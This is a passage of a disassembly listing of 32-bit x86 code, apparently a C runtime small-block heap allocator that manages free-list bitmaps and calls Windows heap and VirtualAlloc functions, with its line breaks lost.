... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_46CC98 mov edx, dword_46CC9C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_419051 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_419061 ; --------------------------------------------------------------------------- loc_419051: ; CODE XREF: sub_419011+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_419061: ; CODE XREF: sub_419011+3Ej mov eax, dword_46CC90 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_419088 loc_41906F: ; CODE XREF: sub_419011+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_419088 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41906F loc_419088: ; CODE XREF: sub_419011+5Cj ; sub_419011+6Aj cmp ebx, [ebp+var_4] jnz short loc_419106 mov ebx, edx loc_41908F: ; CODE XREF: sub_419011+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4190AB mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4190A9 add ebx, 14h jmp short loc_41908F ; --------------------------------------------------------------------------- loc_4190A9: ; CODE XREF: sub_419011+91j cmp ebx, eax loc_4190AB: ; CODE XREF: sub_419011+83j jnz short loc_419106 loc_4190AD: ; CODE XREF: sub_419011+ADj cmp ebx, [ebp+var_4] jnb short loc_4190C3 cmp dword ptr [ebx+8], 0 jnz short loc_4190C0 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_4190AD ; --------------------------------------------------------------------------- loc_4190C0: ; CODE XREF: sub_419011+A5j cmp ebx, [ebp+var_4] loc_4190C3: ; CODE XREF: sub_419011+9Fj jnz short loc_4190EB mov ebx, edx loc_4190C7: ; CODE XREF: sub_419011+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4190DB cmp dword ptr [ebx+8], 0 jnz short loc_4190D9 add ebx, 14h jmp short loc_4190C7 ; --------------------------------------------------------------------------- loc_4190D9: ; CODE XREF: sub_419011+C1j cmp ebx, eax loc_4190DB: ; CODE XREF: sub_419011+BBj jnz short loc_4190EB call sub_41931A mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_4190FF loc_4190EB: ; CODE XREF: sub_419011:loc_4190C3j ; sub_419011:loc_4190DBj push ebx call sub_4193CB pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_419106 loc_4190FF: ; CODE XREF: sub_419011+D8j xor eax, eax jmp loc_419315 ; --------------------------------------------------------------------------- loc_419106: ; CODE XREF: sub_419011+7Aj ; sub_419011:loc_4190ABj ... mov dword_46CC90, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41912D mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_419164 loc_41912D: ; CODE XREF: sub_419011+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_419161 loc_41914A: ; CODE XREF: sub_419011+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41914A loc_419161: ; CODE XREF: sub_419011+137j mov edx, [ebp+var_4] loc_419164: ; CODE XREF: sub_419011+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41918D mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41918D: ; CODE XREF: sub_419011+16Dj ; sub_419011+183j test ecx, ecx jl short loc_419196 shl ecx, 1 inc edi jmp short loc_41918D ; --------------------------------------------------------------------------- loc_419196: ; CODE XREF: sub_419011+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_4191B3 push 3Fh pop esi loc_4191B3: ; CODE XREF: sub_419011+19Dj cmp esi, edi jz loc_4192C8 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419224 cmp edi, 20h jge short loc_4191F3 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_419221 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_419224 ; --------------------------------------------------------------------------- loc_4191F3: ; CODE XREF: sub_419011+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_419221 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_419224 ; --------------------------------------------------------------------------- loc_419221: ; CODE XREF: sub_419011+1D6j ; sub_419011+203j mov ebx, [ebp+arg_0] loc_419224: ; CODE XREF: sub_419011+1B0j ; sub_419011+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4192D4 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4192C5 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_419296 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_419284 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_419284: ; CODE XREF: sub_419011+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4192C5 ; --------------------------------------------------------------------------- loc_419296: ; CODE XREF: sub_419011+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4192AF lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4192AF: ; CODE XREF: sub_419011+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4192C5: ; CODE XREF: sub_419011+24Ej ; sub_419011+283j mov ecx, [ebp+var_8] loc_4192C8: ; CODE XREF: sub_419011+1A4j test ecx, ecx jz short loc_4192D7 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4192D7 ; --------------------------------------------------------------------------- loc_4192D4: ; CODE XREF: sub_419011+229j mov ecx, [ebp+var_8] loc_4192D7: ; CODE XREF: sub_419011+2B9j ; sub_419011+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41930D cmp ebx, dword_46CC94 jnz short loc_41930D mov ecx, [ebp+var_4] cmp ecx, dword_46CC8C jnz short loc_41930D and dword_46CC94, 0 loc_41930D: ; CODE XREF: sub_419011+2E0j ; sub_419011+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_419315: ; CODE XREF: sub_419011+F0j pop edi pop esi pop ebx leave retn sub_419011 endp ; =============== S U B R O U T I N E ======================================= sub_41931A proc near ; CODE XREF: sub_419011+CCp mov eax, dword_46CC98 mov ecx, dword_46CC88 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41935D lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_46CC9C push edi push dword_46CCA4 call dword_421160 ; RtlReAllocateHeap cmp eax, edi jz short loc_4193AD add dword_46CC88, 10h mov dword_46CC9C, eax mov eax, dword_46CC98 loc_41935D: ; CODE XREF: sub_41931A+11j mov ecx, dword_46CC9C push 41C4h push 8 lea eax, [eax+eax*4] push dword_46CCA4 lea esi, [ecx+eax*4] call dword_42114C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_4193AD push 4 push 2000h push 100000h push edi call dword_421180 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_4193B1 push dword ptr [esi+10h] push edi push dword_46CCA4 call dword_421150 ; RtlFreeHeap loc_4193AD: ; CODE XREF: sub_41931A+30j ; sub_41931A+67j xor eax, eax jmp short loc_4193C8 ; --------------------------------------------------------------------------- loc_4193B1: ; CODE XREF: sub_41931A+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_46CC98 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_4193C8: ; CODE XREF: sub_41931A+95j pop edi pop esi retn sub_41931A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193CB proc near ; CODE XREF: sub_419011+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4193DD: ; CODE XREF: sub_4193CB+19j test eax, eax jl short loc_4193E6 shl eax, 1 inc ebx jmp short loc_4193DD ; --------------------------------------------------------------------------- loc_4193E6: ; CODE XREF: sub_4193CB+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4193FB: ; CODE XREF: sub_4193CB+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4193FB mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_421180 ; VirtualAlloc test eax, eax jnz short loc_41942E or eax, 0FFFFFFFFh jmp loc_4194C1 ; --------------------------------------------------------------------------- loc_41942E: ; CODE XREF: sub_4193CB+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_419474 lea eax, [edi+10h] loc_41943B: ; CODE XREF: sub_4193CB+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41943B loc_419474: ; CODE XREF: sub_4193CB+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4194B1 or [eax+4], edi loc_4194B1: ; CODE XREF: sub_4193CB+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_4194C1: ; CODE XREF: sub_4193CB+5Ej pop edi pop esi pop ebx leave retn sub_4193CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194C6 proc near ; CODE XREF: sub_41737F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_419674 test bl, 1 jnz loc_41966D add ebx, ecx cmp esi, ebx jg loc_41966D mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41953D push 3Fh pop ecx mov [ebp+var_8], ecx loc_41953D: ; CODE XREF: sub_4194C6+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41958D cmp ecx, 20h jnb short loc_419569 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41958D mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41958D ; --------------------------------------------------------------------------- loc_419569: ; CODE XREF: sub_4194C6+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41958D mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41958D: ; CODE XREF: sub_4194C6+7Dj ; sub_4194C6+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41965B mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_4195C7 push 3Fh pop edi loc_4195C7: ; CODE XREF: sub_4194C6+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_419649 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_419620 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419613 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_419613: ; CODE XREF: sub_4194C6+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_419645 ; --------------------------------------------------------------------------- loc_419620: ; CODE XREF: sub_4194C6+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419636 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_419636: ; CODE XREF: sub_4194C6+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_419645: ; CODE XREF: sub_4194C6+158j shr edx, cl or [eax], edx loc_419649: ; CODE XREF: sub_4194C6+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41965E ; --------------------------------------------------------------------------- loc_41965B: ; CODE XREF: sub_4194C6+E5j mov edx, [ebp+arg_4] loc_41965E: ; CODE XREF: sub_4194C6+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4197B4 ; --------------------------------------------------------------------------- loc_41966D: ; CODE XREF: sub_4194C6+52j ; sub_4194C6+5Cj xor eax, eax jmp loc_4197B7 ; --------------------------------------------------------------------------- loc_419674: ; CODE XREF: sub_4194C6+49j jge loc_4197B4 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41969F push 3Fh pop esi loc_41969F: ; CODE XREF: sub_4194C6+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41972E mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4196B8 push 3Fh pop esi loc_4196B8: ; CODE XREF: sub_4194C6+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_419707 cmp esi, 20h jnb short loc_4196E3 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_419704 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_419704 ; --------------------------------------------------------------------------- loc_4196E3: ; CODE XREF: sub_4194C6+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_419704 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_419704: ; CODE XREF: sub_4194C6+214j ; sub_4194C6+21Bj ... mov ebx, [ebp+arg_4] loc_419707: ; CODE XREF: sub_4194C6+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41972E push 3Fh pop esi loc_41972E: ; CODE XREF: sub_4194C6+1DDj ; sub_4194C6+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4197AB mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_419782 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_419775 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_419775: ; CODE XREF: sub_4194C6+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419782: ; CODE XREF: sub_4194C6+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_419798 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_419798: ; CODE XREF: sub_4194C6+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_4197A7: ; CODE XREF: sub_4194C6+2BAj shr edx, cl or [eax], edx loc_4197AB: ; CODE XREF: sub_4194C6+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4197B4: ; CODE XREF: sub_4194C6+1A2j ; sub_4194C6:loc_419674j push 1 pop eax loc_4197B7: ; CODE XREF: sub_4194C6+1A9j pop edi pop esi pop ebx leave retn sub_4194C6 endp ; =============== S U B R O U T I N E ======================================= sub_4197BC proc near ; CODE XREF: sub_418C18+41p ; sub_419AB4:loc_419C83p cmp dword_438150, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_4197D0 mov esi, offset off_438140 jmp short loc_4197ED ; --------------------------------------------------------------------------- loc_4197D0: ; CODE XREF: sub_4197BC+Bj push 2020h push 0 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_4198F9 loc_4197ED: ; CODE XREF: sub_4197BC+12j mov ebp, dword_421180 push 4 push 2000h push offset __ImageBase push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_4198E2 push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_4198D4 mov eax, offset off_438140 cmp esi, eax jnz short loc_41984C cmp off_438140, 0 jnz short loc_41983C mov off_438140, eax loc_41983C: ; CODE XREF: sub_4197BC+79j cmp off_438144, 0 jnz short loc_419861 mov off_438144, eax jmp short loc_419861 ; --------------------------------------------------------------------------- loc_41984C: ; CODE XREF: sub_4197BC+70j mov [esi], eax mov eax, off_438144 mov [esi+4], eax mov off_438144, esi mov eax, [esi+4] mov [eax], esi loc_419861: ; CODE XREF: sub_4197BC+87j ; sub_4197BC+8Ej lea eax, __ImageBase[edi] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_419883: ; CODE XREF: sub_4197BC+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_419883 push ebx push 0 push edi call sub_415390 add esp, 0Ch loc_4198AC: ; CODE XREF: sub_4197BC+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_4198D0 or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_4198AC ; --------------------------------------------------------------------------- loc_4198D0: ; CODE XREF: sub_4197BC+F7j mov eax, esi jmp short loc_4198FB ; --------------------------------------------------------------------------- loc_4198D4: ; CODE XREF: sub_4197BC+63j push 8000h push 0 push edi call dword_42117C ; VirtualFree loc_4198E2: ; CODE XREF: sub_4197BC+4Bj cmp esi, offset off_438140 jz short loc_4198F9 push esi push 0 push dword_46CCA4 call dword_421150 ; RtlFreeHeap loc_4198F9: ; CODE XREF: sub_4197BC+2Bj ; sub_4197BC+12Cj xor eax, eax loc_4198FB: ; CODE XREF: sub_4197BC+116j pop edi pop esi pop ebp pop ebx retn sub_4197BC endp ; =============== S U B R O U T I N E ======================================= sub_419900 proc near ; CODE XREF: sub_419956+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_42117C ; VirtualFree cmp off_43A160, esi jnz short loc_419925 mov eax, [esi+4] mov off_43A160, eax loc_419925: ; CODE XREF: sub_419900+1Bj cmp esi, offset off_438140 jz short loc_41994D mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_46CCA4 call dword_421150 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41994D: ; CODE XREF: sub_419900+2Bj or dword_438150, 0FFFFFFFFh pop esi retn sub_419900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419956 proc near ; CODE XREF: sub_419A6F+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_438144 push edi loc_419963: ; CODE XREF: sub_419956+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_419A01 and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41997C: ; CODE XREF: sub_419956+72j cmp dword ptr [edi], 0F0h jnz short loc_4199BD mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_42117C ; VirtualFree test eax, eax jz short loc_4199BD or dword ptr [edi], 0FFFFFFFFh dec dword_46B69C mov eax, [esi+0Ch] test eax, eax jz short loc_4199B2 cmp eax, edi jbe short loc_4199B5 loc_4199B2: ; CODE XREF: sub_419956+56j mov [esi+0Ch], edi loc_4199B5: ; CODE XREF: sub_419956+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_4199CA loc_4199BD: ; CODE XREF: sub_419956+2Cj ; sub_419956+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41997C loc_4199CA: ; CODE XREF: sub_419956+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_419A01 cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_419A01 push 1 lea eax, [ecx+20h] pop edx loc_4199E1: ; CODE XREF: sub_419956+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4199F2 inc edx add eax, 8 cmp edx, 400h jl short loc_4199E1 loc_4199F2: ; CODE XREF: sub_419956+8Ej cmp edx, 400h jnz short loc_419A01 push ecx call sub_419900 pop ecx loc_419A01: ; CODE XREF: sub_419956+11j ; sub_419956+7Dj ... cmp esi, off_438144 jz short loc_419A13 cmp [ebp+arg_0], 0 jg loc_419963 loc_419A13: ; CODE XREF: sub_419956+B1j pop edi pop esi pop ebx leave retn sub_419956 endp ; =============== S U B R O U T I N E ======================================= sub_419A18 proc near ; CODE XREF: sub_415C9B+3Ap ; sub_41737F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_438140 push esi mov ecx, edx loc_419A24: ; CODE XREF: sub_419A18+1Cj cmp eax, [ecx+10h] jbe short loc_419A2E cmp eax, [ecx+14h] jb short loc_419A36 loc_419A2E: ; CODE XREF: sub_419A18+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_419A6B jmp short loc_419A24 ; --------------------------------------------------------------------------- loc_419A36: ; CODE XREF: sub_419A18+14j test al, 0Fh jnz short loc_419A6B mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_419A6B mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_419A6B: ; CODE XREF: sub_419A18+1Aj ; sub_419A18+20j ... xor eax, eax pop esi retn sub_419A18 endp ; =============== S U B R O U T I N E ======================================= sub_419A6F proc near ; CODE XREF: sub_415C9B+4Dp ; sub_41737F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_419AB3 inc dword_46B69C cmp dword_46B69C, 20h jnz short locret_419AB3 push 10h call sub_419956 pop ecx locret_419AB3: ; CODE XREF: sub_419A6F+2Bj ; sub_419A6F+3Aj retn sub_419A6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AB4 proc near ; CODE XREF: sub_415C27+4Ap ; sub_41737F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43A160 push edi loc_419AC2: ; CODE XREF: sub_419AB4+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_419B6D mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_419B27 loc_419AED: ; CODE XREF: sub_419AB4+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_419B10 cmp [edi+4], ebx jbe short loc_419B10 push ebx push ecx push eax call sub_419CBC add esp, 0Ch test eax, eax jnz short loc_419B7F mov eax, [ebp+var_4] mov [edi+4], ebx loc_419B10: ; CODE XREF: sub_419AB4+40j ; sub_419AB4+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_419AED jmp short loc_419B2A ; --------------------------------------------------------------------------- loc_419B27: ; CODE XREF: sub_419AB4+37j mov ebx, [ebp+arg_0] loc_419B2A: ; CODE XREF: sub_419AB4+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_419B70 loc_419B3D: ; CODE XREF: sub_419AB4+B5j mov eax, [edi] cmp eax, ebx jl short loc_419B5C cmp [edi+4], ebx jbe short loc_419B5C push ebx push eax push [ebp+var_4] call sub_419CBC add esp, 0Ch test eax, eax jnz short loc_419B7F mov [edi+4], ebx loc_419B5C: ; CODE XREF: sub_419AB4+8Dj ; sub_419AB4+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_419B3D jmp short loc_419B70 ; --------------------------------------------------------------------------- loc_419B6D: ; CODE XREF: sub_419AB4+14j mov ebx, [ebp+arg_0] loc_419B70: ; CODE XREF: sub_419AB4+87j ; sub_419AB4+B7j mov 